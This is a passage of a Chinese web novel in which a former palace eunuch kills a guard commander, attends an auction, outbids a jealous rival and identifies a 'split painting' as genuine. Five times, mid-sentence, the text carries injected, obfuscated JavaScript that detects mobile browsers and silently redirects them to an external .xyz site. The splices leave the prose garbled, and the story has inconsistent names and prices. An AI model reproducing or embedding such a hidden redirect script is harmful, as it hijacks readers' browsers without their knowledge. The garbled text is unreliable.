这话让赵马玄老脸一红，他板着脸道：“各有所长吧，不分伯仲。”说这话时，他下意识地避开了妻子探寻的目光。 商媛若有所思地看着房门。秦烨年纪轻轻就有如此身手，将来成就不可限量。幸好他是个太监，否则不知要祸害多少良家女子。想到这里，她不禁摇头轻笑。 房内，一声巨响打断了商媛的思绪。木质地板发出不堪重负的呻吟，墙壁震颤不已。 端木正整个人重重撞在墙上，右腿已经扭曲变形。他刚才那全力一脚，竟被秦烨一拳就给破了。冷汗顺着他的额头滑落， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481740|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸湿了衣襟。 “秦总管，冤家宜解不宜结。”端木正强忍剧痛，脸色苍白如纸，“咱们之前有些误会，不如坐下来谈谈。我好歹是禁军总戎，日后定能助秦总管一臂之力。” 秦烨眯起眼睛，正想上前盘问，却见端木正手臂一动，两枚寒光闪闪的短刺破袖而出，直取自己要害。暗器的寒芒在昏暗的房间内格外刺眼。 “找死！” 秦烨眼中杀意迸发，一脚踢出。劲风呼啸，带着不可阻挡的力量。 “咔嚓”一声脆响，端木正胸骨尽碎，整个人如断线风筝般飞出，重重撞在墙上。轰然巨响中，整面墙轰然倒塌，砖石纷飞。 秦烨身形一闪，及时避开坍塌的房屋。转眼间，端木正已被埋在废墟之下。灰尘弥漫，遮蔽了视线。 “贤弟啊，早知如此，该找个宽敞地方。”赵马玄携着夫人走来，大笑道。笑声中带着几分无奈，几分调侃。 秦烨拱手：“倒是让赵兄破费了。”他的衣衫有些凌乱，但气息平稳，显然这场打斗并未让他耗费太多精力。 “兄弟之间，说这些做什么。”赵马玄挥手唤来几个帮众，“先收拾掉这具尸体。” 帮众很快从废墟中拖出端木正的尸体。他的脸上还残留着临死前的不甘与惊恐。秦烨在其身上搜索，找出一沓银票，想必是准备付给**的酬劳。 “端木正，活该你栽在我手里。”秦烨将银票递过去，神色坦然。 赵马玄连连摆手：“贤弟这是打我的脸。”他的声音中带着几分豪气。 这时，一枚古朴的青铜小刀引起了两人注意。刀身上布满神秘的纹路，在阳光下泛着幽幽的光泽。在这铁器时代，端木正随身带着青铜器，必有蹊跷。 秦烨将小刀收入怀中：“此物不简单，我得好好查查。”他的指尖轻轻抚过刀身的纹路，若有所思。 “贤弟，这银票我是万万不能收的。”赵马玄再次推辞，态度坚决。 秦烨也不强求，江湖儿女最重义气，过分推让反倒显得虚伪。他将银票收回，目光扫过四周。 正在此时，一名帮众匆匆而来，脚步急促：“帮主，汴城商会请您过去，拍卖会要开始了。” “贤弟既得了银票，不如随我去看看，说不定有什么好东西。”赵马玄提议道，眼中闪过一丝期待。 第六十四章 天机商行 秦烨点头应下。他本就是天机商行座上宾，正好去见识一番。况且，这场拍卖会或许能让他了解到一些有用的信息。 “处理干净，别留痕迹。”赵马玄对手下人吩咐道。几个帮众立刻开始忙碌起来，将现场的痕迹清理。 一路上，秦烨思索着端木正的事。此人身为禁军总戎，却要置自己于死地，背后必有隐情。那枚青铜小刀，或许能牵出些什么。他的手不自觉地摸向怀中的小刀，触手冰凉。 街上行人渐多，两人放慢了脚步。天机商行在汴城颇有名望，每次拍卖会都会吸引不少达官显贵。街道两旁的店铺已经开始营业，叫卖声此起彼伏。 “王兄可知这次拍卖会有什么稀罕物件？”秦烨随口问道，目光扫过街边形形**的行人。 赵马玄摇头：“具体不清楚，不过听说有几件宝物，连宫里都派人来了。”他压低声音，“听说是从北疆来的奇珍异宝。” 秦烨若有所思。宫里的人也来，看来这次拍卖会不简单。 “到了。”赵马玄的声音打断了秦烨的思绪。 抬头望去，一座富丽堂皇的建筑映入眼帘，门口车马络绎不绝，来往皆是达官显贵。建筑的大门两侧，站着身材魁梧的护卫，目光警惕地扫视着每一个进出的人。 “走吧。”赵马玄笑道，“让贤弟见识见识汴城的繁华。” 天机商行的大门前，人流如织，马车不断，热闹非凡。 今日是一年一度的拍卖盛会，各路商贾纷至沓来，连汴城里那些平日难得一见的大人物也都现身了。街道两旁的店铺早已挂起了红色的绸缎，空气中弥漫着一股浓浓的香料味，让整条街都显得格外喜庆。 秦烨跟在赵马玄身后，看着眼前这座富丽堂皇的建筑，心中暗自思量。青砖碧瓦的三层楼阁，朱红色的大门上挂着金色匾额，“天机商行”四个大字在阳光下熠熠生辉。门前两尊石狮子威风凛凛，门槛上铺着红毯，一直延伸到大厅内部。 这还是他第一次来这种场合。以往在宫中当差，每日面对的不是冰冷的宫墙，就是严肃的官员，哪里见过这等繁华景象。看着周围衣着华贵的商贾们，秦烨不禁有些恍惚。 “秦兄弟，发什么呆呢？”赵马玄转过身，眼中带着几分调侃，“别看这些人穿得光鲜亮丽，其实都是些无利不起早的主。” 秦烨回过神来，苦笑着摇了摇头：“赵大哥说得是，我就是没见过这种阵仗，有些走神了。” “走吧，”赵马玄拍了拍他的肩膀，“今天带你见识见识什么叫真正的富贵。” 两人刚踏入大门，就见一个身着锦袍的中年男子快步迎了上来。那人身材略显臃肿，脸上堆满笑容，眼睛却是精明得很。 “赵帮主大驾光临，蓬荜生辉啊！”那人双手抱拳，笑容可掬。 秦烨认出这是天机商行的会长柳辉岳。这位商界大佬在汴城也算是个响当当的人物，据说和朝中不少大臣都有往来。 “柳会长客气了。”赵马玄笑着拱手，“每次你这拍卖会，每回都是我的主力军？” 柳辉岳连连点头：“赵帮主说的是，说的是。”他的目光随即落在秦烨身上，眼中闪过一丝探究，“这位是……” “哦，忘了介绍。”赵马玄拍了拍秦烨的肩膀，“这是我兄弟秦烨。” “原来是秦公子。”柳辉岳立刻换上一副热情的面孔，“久仰久仰。” 秦烨心中暗笑，这柳辉岳果然是个老狐狸，明明从未见过自己，却装出一副久闻大名的样子。不过这种场合，他也只能陪着演戏。 “柳会长客气了，”秦烨拱手还礼，“今日还请多多指教。” “那是自然，那是自然。”柳辉岳笑道，目光在秦烨身上多停留了几秒，“二位这边请。” 穿过富丽堂皇的大厅，柳辉岳将他们引到了二楼的云锦阁。沿途所见，处处彰显着奢华。地上铺着上等羊毛地毯，墙上挂着名家字画，就连门把手都是纯金打造。 云锦阁是商会最好的包间之一，视野开阔，正对着拍卖场的中心位置。阁内陈设考究，古色古香的红木家具，上等的紫砂茶具，还有一盆栩栩如生的盆景，无一不透露着主人的品味。 “二位稍坐，我去安排人送些茶点来。”柳辉岳说完便退了出去，脚步轻快，显然心情不错。 秦烨走到栏杆边，俯视着下方熙熙攘攘的人群。拍卖场中已经坐了不少人，三三两两地低声交谈，偶尔传来几声爽朗的笑声。 “第一次来这种场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481741|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合吧？”赵马玄走到他身边，笑着问道。 “是啊，”秦烨点头，目光扫过下方的人群，“在宫里当差这些年，还真没见过这种阵仗。” “那你可要好好看看，”赵马玄道，“这里可是汴城最大的拍卖场，什么稀罕物件都能见着。不过……”他压低声音，“有些东西的来历，可就不那么光彩了。” 秦烨正要追问，忽听身后传来一个清脆的声音：“赵帮主这话可就不对了。” 转头看去，只见一个身着红色旗袍的女子款款走来。那旗袍将她玲珑有致的身材勾勒得淋漓尽致，一颦一笑间尽显妩媚。她的脸上带着得体的微笑，眼神却透着几分精明。 “柳小姐。”赵马玄笑着打招呼，语气明显比对柳辉岳要客气许多。 秦烨这才明白，这应该就是柳辉岳的女儿柳霜华了。据说这位大小姐不仅貌美，还精通商道，是天机商行的实际掌舵人。 “赵帮主今日带了贵客来啊。”柳霜华看向秦烨，眼中闪过一丝异样的光芒，“不知这位公子是……” “这是我兄弟秦烨。”赵马玄介绍道，“刚从宫里出来不久。” “秦公子。”柳霜华盈盈一笑，眼波流转，“我是柳霜华，今日的拍卖会由我主持。” 秦烨拱手还礼：“柳小姐好。”他注意到柳霜华看向自己的眼神中带着几分探究，显然对自己的身份很感兴趣。 “秦公子是第一次来吧？”柳霜华问道，“要不要我带你四处转转？” 秦烨看了眼赵马玄，后者笑着点头：“去吧，让柳小姐带你熟悉熟悉环境。” “那就多谢柳小姐了。”秦烨道。 “秦公子客气了。”柳霜华莞尔一笑，“请。” 跟着柳霜华下了楼，秦烨暗自打量着这位天机商行的大小姐。不得不说，这柳霜华确实生得美艳动人，一举一动都透着优雅。但秦烨却从她的眼神中，看出了几分精明干练的气质。 “秦公子可有什么特别想看的东西？”柳霜华问道，声音轻柔，“今日的拍卖品中，有不少稀世珍宝。” “我对这里的规矩不太熟，还请柳小姐指点。”秦烨谦虚道。他能感觉到周围投来的目光，有惊讶，有好奇，更多的是嫉妒。 第六十五章 参加拍卖会 “那我就给秦公子介绍介绍。”柳霜华笑道，“我们这次拍卖会，可是汇集了不少好东西。比如这件……” 她指向一个玻璃展柜，里面放着一个青花瓷瓶。瓷瓶通体洁白，上面绘着栩栩如生的山水画，笔触细腻，意境深远。 “这是宋代官窑的作品，”柳霜华介绍道，“据说是当年贡品中的珍品，流落民间后，经过多方辗转，才到了我们手中。” 秦烨点点头，装作很感兴趣的样子：“确实是件难得的好物件。” “秦公子懂瓷器？”柳霜华眼前一亮。 “略懂一二。”秦烨道，“在宫里的时候，见过不少贡品，耳濡目染，也算有些了解。” “那正好，”柳霜华笑道，“一会拍卖会上，还有几件更好的瓷器要拍卖，秦公子可要看仔细了。” 秦烨点点头，心中却在思索。这柳霜华主动接近自己，恐怕不会这么简单。她对自己的身份似乎很感兴趣，难道是因为自己曾在宫里当差？ 不过既然对方有意结交，那自己也不妨顺水推舟。毕竟，天机商行在汴城的势力不容小觑，多个朋友总比多个敌人好。 想到这里，秦烨脸上的笑容更加温和了几分：“那就请柳小姐多多指教了。” 柳霜华似乎对他的反应很满意，嫣然一笑：“秦公子不必客气。对了，一会拍卖会开始后，我要去主持，就不能陪着秦公子了。不过……”她顿了顿，“拍卖会结束后，我设了一场小宴，不知秦公子可愿赏光？” 秦烨心中一动，这柳霜华果然另有目的。不过现在还不是拆穿的时候，他笑着点头：“既然柳小姐盛情相邀，我自然不会推辞。” “那就说定了。”柳霜华眼中闪过一丝得意，“秦公子稍等，我有些事先离开一下。” 看着柳霜华离去的背影，秦烨若有所思。这天机商行，恐怕没有表面上看起来那么简单。 “霜华？” 一道温润如玉的声音在人群中响起，打破了拍卖会场的嘈杂。 秦烨正靠在二楼的栏杆处，俯视着大厅内来来往往的宾客。听到这声呼唤，他不由得将目光投向声音的来源处。只见一名身着白衣的青年正拦在柳霜华面前，脸上带着刻意的笑容。 柳霜华今日一袭淡青色长裙，发间簪着一支白玉簪子，端庄优雅。她微微颔首，语气平淡：“阳公子。” “好久不见了。”阳博玉往前迈了一步，缩短两人之间的距离，“上次在诗会上匆匆一面，都没来得及好好说话。” 秦烨注意到柳霜华下意识地后退半步，保持着恰到好处的距离。这个细节让他嘴角微扬，看来这位汴城第一粮商的公子并不受欢迎。 “霜华，我新开了个墨社，不少才子都来捧场。”阳博玉的声音里带着几分炫耀，“要不要找个时间来坐坐？我特意让人从江南运来了上好的龙井。” 柳霜华的眉头几不可察地皱了皱：“抱歉，最近商会事务繁忙，恐怕抽不出时间。” “那……不知今日拍卖会可有什么好物件？”阳博玉不死心地追问，“不如霜华给我介绍介绍？” “小七。”柳霜华唤来一名仆人，“带阳公子去看看今日的拍品。”说完，她转身朝秦烨所在的方向走来。 阳博玉站在原地，脸上的笑容逐渐凝固。他死死盯着柳霜华离去的背影，眼中闪过一丝阴霾。 “秦公子，让您久等了。”柳霜华来到秦烨身边，嫣然一笑。 “无妨，看戏也是一种乐趣。”秦烨轻笑道，“不过这位阳马公似乎对我很有意见？” 柳霜华轻哼一声：“他啊，整日就知道吟诗作对，自诩才子。不过是个无病呻吟的酒囊饭袋罢了。若不是看在他父亲的面子上，我连话都懒得跟他说。” 两人说话间已经来到拍卖场内，柳霜华没有带秦烨去包厢，而是选了前排的位置。这一举动立刻引来四周无数目光。 “看来我们成了全场的焦点。”秦烨环顾四周，不少人正对着他们指指点点。 “秦公子不会怕了吧？”柳霜华眨眨眼，带着几分调侃。 “怕？”秦烨摇头，“我倒是很期待接下来的好戏。” 远处，阳博玉坐在包厢里，手中的茶杯已经被捏得变了形。他冷冷地注视着下方的两人，眼中闪过一丝狠厉。 “给我查，一定要查出这小子是什么来头！”他咬牙切齿地对身边的管事说道。 管事躬身应是，转身离去。不多时，便有消息传回：“少爷，查到了。这个秦烨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481742|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是从江南来的商人，似乎和柳阳家有些生意往来。” “江南来的商人？”阳博玉冷笑，“不过是个外地人罢了，也敢在我的地盘上放肆？” 台上，拍卖师正在介绍第一件拍品：“这是一幅宋代名家的山水画，起拍价五千两……” 秦烨却对台上的拍品毫无兴趣，他的注意力全在不远处的阳博玉身上。这位汴城第一粮商的公子，恐怕不会善罢甘休。 果然，没过多久，一个面容阴鸷的中年人来到秦烨身边：“这位公子，可否借一步说话？” “你是？”秦烨明知故问。 “在下是阳家的管事。”中年人压低声音，“我家少爷想请公子去包厢一叙。” 秦烨看了眼正在专注听拍卖的柳霜华，轻笑道：“不好意思，我更愿意陪霜华姑娘看拍卖。” 管事的脸色瞬间阴沉下来：“秦公子，有些事情，最好想清楚再做决定。我们阳家在汴城……” “我知道。”秦烨打断他的话，“汴城第一粮商，手眼通天。不过……”他转头直视管事的眼睛，“你们阳家，真的有这个胆子吗？” 管事被他眼中的冷意震慑，不由自主地后退半步。 “去告诉你家少爷。”秦烨继续说道，“做人要有自知之明。不是什么人，都是他能招惹的。” 管事脸色变了又变，最后悻悻地离去。 柳霜华在一旁听得清楚，不由得看向秦烨：“秦公子，阳家在汴城势力不小，你这样说话，会不会……” “无妨。”秦烨淡淡一笑，“我既然敢来汴城，自然有我的倚仗。” 拍卖继续进行，一件件珍品被高价拍出。 “每件拍品叫价三次无人应答，便算成交。”柳霜华坐在他身旁，纤细的手指轻轻摩挲着桌面，声音轻柔地解释着规则。她今日一袭淡青色长裙，更显得肤若凝脂，明眸善睐。 秦烨转头看向她，眼中闪过一丝兴味：“加价有什么讲究吗？” “这里面门道可多了。”柳霜华微微一笑，眼角弯起好看的弧度，“最基本的规矩是，每次加价不能低于起拍价的十分之一，否则会被视作捣乱。有些人为了震慑其他竞拍者，会一口气喊出一个高价，让对手知难而退。” 第六十六章 拍得玉佩 远处的阳博玉死死盯着两人亲密交谈的场景，手中的茶盏几乎要被捏碎。他身着锦缎长袍，腰间玉佩叮当作响，一看就是富贵人家的公子。此刻他眼中闪过一丝阴鸷，心中暗自盘算着要如何出手。 秦烨忽然凑近柳霜华耳边，温热的气息拂过她的耳畔：“你们会不会安排托儿？”这个动作让柳霜华顿时红了脸，连忙往旁边挪了挪。 “秦公子说笑了，”她轻咳一声掩饰尴尬，“我们汴城商会的招牌可不能砸。这儿可都是非富即贵的大人物，若是玩这种把戏，早就关门大吉了。” 这时，两个膀大腰圆的大汉抬着一尊巨大的木雕佛像上台，一位白发苍苍的老者紧随其后。佛像通体呈深褐色，雕工看起来并不精细，木材也是普通的松木，一看就是最近一两年的新物件。 秦烨眉头微皱：“这尊佛像究竟有什么渊源？” 柳霜华掩嘴轻笑：“您且听着就知道了。” 台上的拍卖师身着长衫，手持惊堂木，中气十足地喊道：“诸位，这尊木佛乃是城东法云寺鉴真大师亲手雕刻开光，实乃无价之宝！起拍价五百两黄金，请各位出价！” “六百两！” “七百两！” “八百两！” 叫价声此起彼伏，场面一时热闹非凡。有些富商为显示财力，直接加价百两。也有人小心翼翼，每次只加最低限额。 柳霜华见秦烨始终不为所动，轻声问道：“秦公子对这佛像没兴趣？” “我不信佛。”秦烨淡然一笑，目光依旧平静如水。 “那公子信什么？” 秦烨指了指自己：“我信我自己。”这句话说得随意，却透着一股说不出的自信。 最终，那尊木佛以两千三百两黄金成交。秦烨看着那个兴高采烈的买主，心中暗自摇头。一个实际价值可能连一两黄金都不到的木雕，竟能卖出这般天价，不得不说信仰的力量确实不可思议。 第二件拍品是一只千年青铜爵杯，造型古朴，通体呈现出深邃的青绿色，杯身上的纹路清晰可见，确实是件难得的古物。 “这件青铜爵杯出土于西陵古墓，经专家鉴定为商代晚期之物。起拍价一百两黄金！”拍卖师的声音再次响起。 阳博玉终于等到了表现的机会，他猛地站起身，高声喊道：“三百两！”这一出手就是起拍价的三倍，显然是想震慑其他竞买者。 场内一片哗然，不少人纷纷侧目。但很快就有人跟进：“三百五十两！” 阳博玉冷笑一声：“五百两！” 秦烨依旧靠在椅背上，对这场竞价毫无兴趣。在他看来，懂行的人太多，想要拍下好东西就必须付出高价，这并不划算。他更喜欢等待机会，寻找被人忽视的宝物。 柳霜华看着他的侧脸，心中不禁有些疑惑。这位秦公子到底是真的对拍品无意，还是囊中羞涩？ 青铜爵杯最终被阳博玉以八百两黄金拍下。他得意地看了眼秦烨的方向，仿佛在说：【看到了吗？这才是真正的财力！】 接下来又上来几件拍品，有玉器、字画、古籍，但都没有引起秦烨的兴趣。他始终保持着那份从容，仿佛对周遭的一切都漠不关心。 突然，一个小巧的木盒被送上拍卖台。拍卖师打开盒子，取出一枚通体碧绿的玉佩。玉佩造型简单，却散发着淡淡的光晕。 秦烨的眼睛猛地亮了起来，身子不自觉地坐直。柳霜华敏锐地察觉到他的变化，不由得多看了那枚玉佩几眼。 “这枚玉佩……”拍卖师刚要开口介绍，秦烨已经举起了手中的号牌：“一千两！” 全场顿时一片寂静。这枚看起来普普通通的玉佩，竟然有人一开口就出到一千两黄金？就连拍卖师都愣住了，他还没来得及说明起拍价呢。 阳博玉冷哼一声：“一千五百两！” 秦烨面不改色：“两千两。” “两千五百两！”阳博玉咬牙切齿，他决不能让这个不知从哪冒出来的家伙在柳霜华面前出风头。 “三千两。”秦烨的声音依旧平静，仿佛在说一件微不足道的小事。 场内众人倒吸一口冷气。这两人为了一枚普通的玉佩，竟然叫到了这个价格？要知道，刚才那尊所谓的高僧开光佛像，也不过两千三百两而已。 阳博玉额头上渗出冷汗，他虽然是阳阳家大少，但也不能这样肆意挥霍。三千两黄金，已经超出了他的预算。 “三千两第一次！”拍卖师适时地喊道。 “三千两第二次！” “三千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481743|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两第三次！成交！” 随着惊堂木落下，这场激烈的竞价终于结束。秦烨站起身，在众人惊诧的目光中走上台去，将那枚玉佩收入囊中。 柳霜华看着他的背影，忽然发现自己似乎看不透这个男人了。他究竟是什么来历？为什么会对一枚普通的玉佩如此执着？ 而阳博玉则是一脸阴沉，他发誓一定要查清楚这个秦烨的底细。敢在自己面前如此嚣张，总有一天要他付出代价！ 秦烨端着茶盏，静静地看着拍卖会的进程。大厅内烛火摇曳，映照着各色人等脸上或贪婪或期待的神色。茶水微凉，他却浑然不觉，目光始终停留在台上那件即将展示的拍品上。 接下来的拍品被四名工人小心翼翼地抬上台，挂在一个檀木雕花的书画架上。这架子做工考究，雕刻着祥云纹样，显然价值不菲。 “诸位贵客稍安勿躁。”拍卖师经过前两轮的热场，此刻正意气风发，声音洪亮地回荡在大厅中，“这幅秋月寒梅图出自画师陈远之手。陈远大家想必都有耳闻，前朝著名画师，淡泊名利，辞官归隐，其画作流传极少，堪称一寸一金……” 秦烨眯着眼打量那幅画，手指无意识地摩挲着茶盏边缘。画作上的春树苍劲有力，秋香若隐若现，整体笔触看似随意，实则暗含玄机。 “假的。”一道不屑的声音突兀响起，打断了拍卖师的介绍。 拍卖师的话语戛然而止，额头上隐约渗出细密的汗珠。 只见一位身着锦袍的公子站了起来，手中折扇轻摇，眼中带着几分轻蔑：“这秋月寒梅图我在礼部侍郎府上见过真迹，颜色浓淡完全不同。礼部侍郎的珍藏，怎会流落到拍卖场？” 此言一出，场中顿时一片哗然。众人交头接耳，议论纷纷。有人开始质疑拍卖行的信誉，也有人暗自庆幸没有贸然出价。 拍卖师擦了擦额头的冷汗，强笑道：“这位公子说得是，礼部侍郎的确不会轻易出手珍藏。既然有疑虑，那就五百文起拍如何？” “五百文都不值！”那锦袍公子更加得意，折扇“啪”的一声合拢，引得众人哄笑。 秦烨将茶盏放在桌上，目光依旧停留在那幅画上。他注意到画作右下角有一处极其细微的痕迹，嘴角不由微微上扬：“有趣。” 第六十七章 分画之术 “公子觉得哪里有趣？”坐在身旁的柳霜华忍不住问道。 秦烨没有立即回答，而是直接开口：“十两黄金。” 全场瞬间寂静。众人不可思议地看向这位出价的年轻人，有人暗自摇头，觉得遇到了个冤大头。 “秦公子……”柳霜华欲言又止，纤细的手指不安地绞着衣角。 秦烨依旧专注地看着那幅画，仿佛发现了什么不为人知的秘密。画中的春树在烛光下似乎在轻轻摇曳，诉说着无人知晓的往事。 “三十两黄金！”一道清朗的声音传来，只见远处一位白衣公子站起身来，举手投足间尽显世家公子的优雅。 “是阳博玉。”有人认出了此人，“听说他一直在追求柳小姐。” 场中顿时明白了，这是在为柳霜华争风吃醋。不少人露出了然的笑容，等着看好戏。 秦烨眉头微皱，手指轻轻敲击着桌面。这阳博玉难道也看出了什么？还是纯粹为了争风吃醋？ “五十两黄金。”秦烨不动声色地加价，声音平静得仿佛在谈论今日的天气。 “八十两。”阳博玉摇着折扇，眼中带着挑衅。折扇上绘着一幅山水，在他手中显得格外刺眼。 秦烨眸光一闪，看来这场较量远未结束。 “一百两。”他不紧不慢地说道，仿佛这个数字对他来说不过是个微不足道的数字。 阳博玉的折扇停顿了一下，眼中闪过一丝犹豫：“一百五十两。” 场中响起一片倒吸凉气的声音。一幅被指认是赝品的画，竟然炒到了这个价格？有人开始怀疑这两位公子是否知道些什么内情。 秦烨轻轻放下茶盏，瓷器与木桌相碰发出清脆的声响：“两百两。” “你……”阳博玉脸色微变，折扇“啪”的一声合上。 “这位公子如果觉得贵了，大可不必勉强。”秦烨淡淡道，目光中带着几分戏谑。 阳博玉咬牙，豁出去般喊道：“三百两！” 秦烨露出一丝意味深长的笑意：“五百两。” 阳博玉的脸色瞬间难看起来，额头上的青筋若隐若现。他死死盯着秦烨，似乎想从对方脸上看出些什么。 “五百两黄金一次！”拍卖师激动得声音都在发颤。这个价格已经远远超出了他的预期。 “五百两黄金两次！” 阳博玉握紧了折扇，指节发白，却终究没有再出价。他不是输不起这个钱，而是不确定这幅画是否值得如此高价。 “五百两黄金三次！成交！” 秦烨伸手轻抚画面，眼中闪过一丝笑意：“五百两买到陈远大师的真迹，确实是笔好买卖。” 此言一出，满场哗然。 阳博玉冷笑道：“你这傻子，还在自欺欺人？谁不知道礼部侍郎家中已有真迹，这幅必是赝品！” “有些人自诩聪明，实则愚不可及。”秦烨转过身，目光直视阳博玉，“诸位可知"分画"之术？” 场内顿时安静下来，所有人都被这个陌生的词汇吸引了注意力。 “所谓分画，”秦烨的声音不疾不徐，“就是将厚实的画纸分层，一幅画可以分成两幅、三幅。后揭之画虽然墨色稍淡，却仍是真迹无疑。” 他指着画面上的细节，继续解释：“你们看这里的墨色，较之寻常画作确实略淡，正是分画的特征。礼部侍郎家中那幅，与这幅本是一体。” 众人纷纷凑近观看，议论声此起彼伏。有识货的已经倒吸一口凉气，暗叹这两百两竟让秦烨买到了一桩天大的便宜。 阳博玉的脸色变得极为难看，额头上渗出细密的汗珠。他张了张嘴，想要反驳，却发现自己完全说不出话来。 “分画之术，在行内可是失传已久的绝技。”秦烨小心翼翼地取下画卷，“能做到如此完美，想必是出自名家之手。这幅画的来历，恐怕比我们想象的要复杂得多。” 柳霜华看着侃侃而谈的秦烨，美目中异彩连连。她忽然意识到，这个看似随意的年轻人，远比自己想象的要深不可测。 “秦公子，”她轻声问道，“你是如何看出这些的？” 秦烨笑而不答，只是将画卷小心收好。他的目光扫过满场震惊的面孔，最后落在阳博玉身上：“有些东西，不是用钱就能衡量的。识货的人自然知道它的价值。” 阳博玉脸色铁青，转身离去。他的背影显得格外狼狈，与方才的趾高气扬形成鲜明对比。 拍卖场内的气氛渐渐恢复平静，但人们谈论的焦点已经从“冤大头”变成了“分画”这门神秘的技艺。不少人开始打听秦烨的来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481744|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历，却发现谁也说不清这个年轻人究竟是何方神圣。 柳霜华站在会场一角，若有所思地打量着秦烨。作为天机商行会长之女，她见过形形**的人物，但像秦烨这样气质独特的年轻人却不多见。他的一举一动都透着从容不迫，仿佛对什么都漫不经心，却又在关键时刻展现出惊人的洞察力。 “有趣。”她轻声自语。 台上，新的拍卖师已经开始介绍下一件拍品。原来的拍卖师悄然退场，快步走向后堂。推开雕花木门，他看到天机商行会长柳富金正在品茶。 “会长，这个秦烨不简单。”拍卖师压低声音，“他对秋月寒梅图的鉴赏水平很高，而且出手阔绰，毫不犹豫。” 柳富金放下青花瓷茶盏，眼中闪过一丝精光：“让霜华提前接触他，看来是个明智之举。” 一场拍卖会，宾主尽欢，秦烨心满意足带着自己拍得的宝贝离开了会场。 分别时，秦烨与赵马玄拱手一笑：“赵兄，后会有期。” 赵马玄眼底闪过一丝复杂，嘴角微微抽动，似乎有千言万语想说，最终却只是重重点头。他深知这位神秘的朋友绝非表面看起来那般简单，但此刻也只能按捺住内心的疑惑，缓缓转身离去。 柳霜华站在秦烨身旁，美眸中带着几分好奇。这个突然出现的男子，居然能与玄铁会帮主称兄道弟，她不由得多打量了几眼，只见秦烨身形挺拔，一袭青衫随风轻扬，举手投足间尽显从容。 柳霜华眨了眨眼，不由自主地被他这份从容所吸引。她下意识想要后退半步，却被秦烨伸手一探，轻轻握住了玉手。那温暖的触感让她心头一颤，想要抽回却又舍不得这份温度。 远处，阳博玉看到这一幕，面色阴沉得几乎要滴出水来。他死死盯着两人交握的手，指甲深深陷入掌心，鲜血顺着指缝缓缓滑落。 “少爷，息怒啊！”身旁的管家连忙低声劝阻，“那人与玄铁会关系匪浅，不可轻举妄动！” “住口！”阳博玉猛地转头，眼中布满血丝，“区区一个外来人，也敢在我阳家地盘上放肆？”他咬牙切齿，“给我调动队伍，今晚我要让他知道得罪我的下场！” 管家额头冒出冷汗，还想再劝，却被阳博玉一个眼神瞪了回去。他只得叹息一声，转身去安排。 第六十八章 暗藏玄机的药方 拍卖会场内，柳富金站在二楼雅间，若有所思地看着楼下的一幕。这个突然出现的年轻人，不仅身手不凡，还与玄铁会交好，最重要的是……他看向自己的女儿，发现霜华眼中闪烁着异样的光彩。 “有意思……”柳富金捋了捋胡须，脸上浮现出意味深长的笑容。 秦烨似乎察觉到了什么，目光在四周扫视一圈，最后停在柳霜华绝美的侧颜上：“时候不早了，我该告辞了。” “我送你。”柳霜华脱口而出，话一出口便觉得有些唐突，俏脸微红。 秦烨挑了挑眉：“就不怕我是个坏人？” “你才不是。”柳霜华嗔道，语气中带着几分娇嗔。 “哦？”秦烨突然凑近，在她耳边低语，“这么相信我？”温热的气息拂过耳畔，惹得柳霜华心跳加速。 就在这时，一阵急促的脚步声传来。十几名黑衣人从四面八方涌出，手中寒光闪烁，杀气腾腾。 